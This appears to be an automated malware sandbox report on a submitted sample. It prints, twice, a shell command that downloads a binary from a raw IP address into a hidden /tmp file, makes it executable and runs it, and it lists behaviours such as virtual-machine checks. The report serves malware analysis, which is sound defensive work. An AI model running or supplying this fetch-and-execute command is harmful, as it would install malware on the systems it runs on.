General

  • Target
    http://wget http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -O /tmp/.k || wget http://196.251.121.142/a3f8d2/kaizen.x86_srv -O /tmp/.k chmod 777 /tmp/.k; /tmp/.k
  • Sample260718-p4akgaft4x

Malware Config

Targets

    • Target
      http://wget http://196.251.121.142/a3f8d2/kaizen.x86_64_srv -O /tmp/.k || wget http://196.251.121.142/a3f8d2/kaizen.x86_srv -O /tmp/.k chmod 777 /tmp/.k; /tmp/.k
    • File and Directory Permissions Modification

      Adversaries may modify file or directory permissions to evade defenses.

    • Checks hardware identifiers (DMI)

      Checks DMI information which indicate if the system is a virtual machine.

    • Reads hardware information

      Accesses system info like serial numbers, manufacturer names etc.

MITRE ATT&CK Enterprise v16

Tasks